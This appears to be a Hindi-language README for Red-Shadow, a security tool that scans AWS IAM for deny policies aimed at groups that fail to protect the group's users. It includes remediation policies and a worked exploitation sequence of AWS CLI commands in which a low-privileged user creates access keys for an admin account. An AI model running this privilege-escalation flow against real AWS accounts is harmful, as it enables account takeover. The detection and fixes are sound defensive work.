
AWS IAM कॉन्फ़िगरेशन में शैडो एडमिन की खोज करता है, गलत कॉन्फ़िगर किए गए डिनी नीतियों का पता लगाकर जो समूहों पर उपयोगकर्ता कार्यों को प्रतिबंधित करने में विफल रहती हैं, जिससे विशेषाधिकार वृद्धि का पता लगाना और सुधार सक्षम होता है।
AWS IAM कॉन्फ़िगरेशन को स्कैन करें shadow admins के लिए, जो Lightspin की सुरक्षा अनुसंधान टीम द्वारा खोजी गई गलत कॉन्फ़िगर की गई डिनी नीतियों पर आधारित हैं जो समूहों में उपयोगकर्ताओं को प्रभावित नहीं करती हैं।
यह उपकरण निम्नलिखित IAM ऑब्जेक्ट्स में गलत कॉन्फ़िगरेशन का पता लगाता है:
प्रबंधित नीतियाँ
उपयोगकर्ताओं की इनलाइन नीतियाँ
समूहों की इनलाइन नीतियाँ
भूमिकाओं की इनलाइन नीतियाँ
समूहों पर लागू डिनी नीतियों के लिए AWS IAM मूल्यांकन तर्क उसी तरह काम नहीं करता जैसे अधिकांश सुरक्षा इंजीनियर अन्य प्राधिकरण तंत्रों के साथ उपयोग कर सकते हैं।
मान लीजिए कि एक समूह संसाधन वाली नीति में एक स्पष्ट डिनी है। उस स्थिति में, यह केवल समूह कार्रवाइयों को प्रभावित करेगा, उपयोगकर्ता कार्रवाइयों को नहीं, और यदि वे प्रक्रिया को उदाहरण के लिए Active Directory के समान मानते हैं, तो संगठनों को गलत कॉन्फ़िगरेशन और कमजोरियों के लिए खोल देता है।
भेद्य json नीति का उदाहरण:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
इस उदाहरण में, नीति को उस नीति से जुड़े उपयोगकर्ताओं, समूहों या भूमिकाओं द्वारा managers नामक समूह की ओर की गई किसी भी iam कार्रवाई को अस्वीकार करना चाहिए।
सच तो यह है कि iam:ChangePassword जैसी सरल IAM कार्रवाई काम करेगी क्योंकि डिनी नीति अप्रभावी है।
पूर्ण सुरक्षा अनुसंधान ब्लॉग का लिंक
AWS IAM में उपयोगकर्ता ऑब्जेक्ट कार्रवाइयों और समूह ऑब्जेक्ट कार्रवाइयों के बीच स्पष्ट अलगाव है।
निम्नलिखित सूची में उपयोगकर्ता ऑब्जेक्ट कार्रवाइयाँ शामिल हैं जिन्हें उपकरण डिनी नीतियों (वाइल्डकार्ड के अलावा) पर स्कैन कर रहा है जो समूहों को प्रभावित करती हैं:
AWS_USER_ACTIONS = ["iam:CreateUser",
"iam:GetUser",
"iam:UpdateUser",
"iam:DeleteUser",
"iam:GetUserPolicy",
"iam:PutUserPolicy",
"iam:DeleteUserPolicy",
"iam:ListUserPolicies",
"iam:AttachUserPolicy",
"iam:DetachUserPolicy",
"iam:ListAttachedUserPolicies",
"iam:SimulatePrincipalPolicy",
"iam:GetContextKeysForPrincipalPolicy",
"iam:TagUser",
"iam:UpdateSSHPublicKey",
"iam:UntagUser",
"iam:GetSSHPublicKey",
"iam:ListUserTags",
"iam:DeleteSSHPublicKey",
"iam:GetLoginProfile",
"iam:GetAccessKeyLastUsed",
"iam:UpdateLoginProfile",
"iam:UploadSigningCertificate",
"iam:DeleteLoginProfile",
"iam:ListSigningCertificates",
"iam:CreateLoginProfile",
"iam:UpdateSigningCertificate",
"iam:EnableMFADevice",
"iam:DeleteSigningCertificate",
"iam:ResyncMFADevice",
"iam:ListServiceSpecificCredentials",
"iam:ListMFADevices",
"iam:ResetServiceSpecificCredential",
"iam:DeactivateMFADevice",
"iam:CreateServiceSpecificCredential",
"iam:ChangePassword",
"iam:UpdateServiceSpecificCredential",
"iam:CreateAccessKey",
"iam:DeleteServiceSpecificCredential",
"iam:ListAccessKeys",
"iam:PutUserPermissionsBoundary",
"iam:UpdateAccessKey",
"iam:DeleteUserPermissionsBoundary",
"iam:DeleteAccessKey",
"iam:ListGroupsForUser",
"iam:ListSSHPublicKeys",
"iam:UploadSSHPublicKey"]
ऊपर उल्लिखित कई उपयोगकर्ता ऑब्जेक्ट कार्रवाइयाँ आसानी से विशेषाधिकार वृद्धि या खाते से समझौता कर सकती हैं, जैसे व्यवस्थापक का पासवर्ड रीसेट करना, रूट खाते के MFA को निष्क्रिय करना, और अधिक।
Red-Shadow Python 3 और Boto3 के साथ बनाया गया है।
उपकरण को आवश्यकता है:
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt
python3 red-shadow.py
परिणाम किसी भी IAM ऑब्जेक्ट का पता लगाते हैं जो AWS में ऐसे प्राधिकरण बाईपास के लिए भेद्य है।
परिणाम आउटपुट का उदाहरण:
++ Starting Red-Shadow ++
++ AWS IAM Vulnerability Scanner
++ Red Shadow scans for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups
Step 1: Searching for IAM Group misconfigurations in managed policies
Found potential misconfiguration at arn:aws:iam::123456789999:policy/ProtectManagers
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 2: Searching for IAM Group misconfigurations in Users inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 3: Searching for IAM Group misconfigurations in Groups inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 4: Searching for IAM Group misconfigurations in Roles inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Done
इस कंसोल आउटपुट में, हम देख सकते हैं कि हमारी ProtectManagers डिनी नीति अप्रभावी है और ऊपर उल्लिखित विशेषाधिकार वृद्धि जैसे हमलों के लिए भेद्य है।
IAM भेद्यता को मान्य करने और शोषण चलाने के लिए आप निम्नलिखित प्रवाह चला सकते हैं:
aws iam create-group --group-name managersaws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccessaws iam create-user --user-name JohnAdminaws iam add-user-to-group --user-name JohnAdmin --group-name managers{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "ProtectManagersByDeny",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.jsonaws iam create-group --group-name backend-devaws iam create-user --user-name BobAttackeraws iam add-user-to-group --user-name BobAttacker --group-name backend-devaws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Allow",
"Action": "iam:CreateAccessKey",
"Resource": "*"
}
]
}
aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.jsonaws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeysaws iam list-attached-group-policies --group backend-devaws iam create-access-key --user-name BobAttackerभेद्यता का शोषण करने के लिए:
aws iam create-access-key --user-name JohnAdmin --profile BobAttacker
विशेषाधिकार वृद्धि पूर्ण!
एक बार जब आप प्राधिकरण बाईपास के लिए भेद्य नीतियाँ पा लेते हैं, तो भेद्यता को ठीक करने और नीति को सुधारने के दो संभावित तरीके हैं:
विकल्प 1: अप्रभावी IAM कार्रवाइयों से बचने के लिए समूहों के बजाय संसाधन फ़ील्ड में सभी प्रासंगिक उपयोगकर्ताओं को परिभाषित करें, और सभी समूह कार्रवाइयों को अस्वीकार करें, जैसे निम्नलिखित उदाहरण:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "DenySpecificUserActions",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": [
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]",
"arn:aws:iam::123456789999:user/[email protected]"
]
},
{
"Sid": "DenyAllGroupActions",
"Effect": "Deny",
"Action": "*",
"Resource": "arn:aws:iam::123456789999:group/managers"
}
]
}
विकल्प 2: नीति में iam:ResourceTag के साथ शर्त का उपयोग करें, जैसे निम्नलिखित उदाहरण:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "VisualEditor0",
"Effect": "Deny",
"Action": [
"iam:CreateLoginProfile",
"iam:ChangePassword",
"iam:CreateAccessKey"
],
"Resource": "*",
"Condition": {
"ForAnyValue:StringEquals": {
"iam:ResourceTag/group": "managers"
}
}
}
]
}
यह अनुसंधान Lightspin की सुरक्षा अनुसंधान टीम द्वारा किया गया था। अधिक जानकारी के लिए, हमसे [email protected] पर संपर्क करें।
यह रिपॉजिटरी Apache License 2.0 के अंतर्गत उपलब्ध है।